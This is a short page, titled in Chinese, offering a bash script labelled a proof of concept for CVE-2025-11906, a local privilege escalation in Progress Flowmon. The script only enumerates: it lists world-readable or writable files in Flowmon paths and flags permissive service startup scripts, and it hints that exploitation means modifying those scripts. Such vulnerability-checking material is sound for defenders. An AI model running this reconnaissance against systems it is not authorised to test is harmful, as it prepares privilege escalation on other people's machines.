CVE-2025-11906 Progress Flowmon 本地权限提升漏洞

#!/bin/bash # CVE-2025-11906 PoC - Progress Flowmon Local Privilege Escalation # Requires: SSH access to flowmon system user account echo "[*] CVE-2025-11906 Progress Flowmon Privilege Escalation Check" echo "[*] Target: Flowmon < 12.5.6" # Check if running as flowmon user current_user=$(whoami) echo "[*] Current user: $current_user" if [ "$current_user" != "flowmon" ]; then echo "[!] This PoC requires flowmon user privileges" exit 1 fi # Check for misconfigured files in common Flowmon paths config_paths=( "/opt/flowmon/etc/" "/opt/flowmon/conf/" "/etc/flowmon/" "/var/lib/flowmon/" ) echo "[*] Checking for misconfigured configuration files..." for path in "${config_paths[@]}"; do if [ -d "$path" ]; then echo "[+] Found directory: $path" # Check for world-readable/writable files find "$path" -type f \( -perm -004 -o -perm -002 \) 2>/dev/null fi done # Check for writable service initialization scripts service_paths=("/etc/init.d/flowmon" "/etc/systemd/system/flowmon*") for sp in "${service_paths[@]}"; do if [ -f "$sp" ]; then perms=$(stat -c "%a" "$sp" 2>/dev/null) if [ "$perms" == "777" ] || [ "$perms" == "775" ]; then echo "[!] WARNING: $sp has permissive permissions ($perms)" fi fi done echo "[*] Enumeration complete" echo "[!] If vulnerable, exploitation requires modifying startup scripts"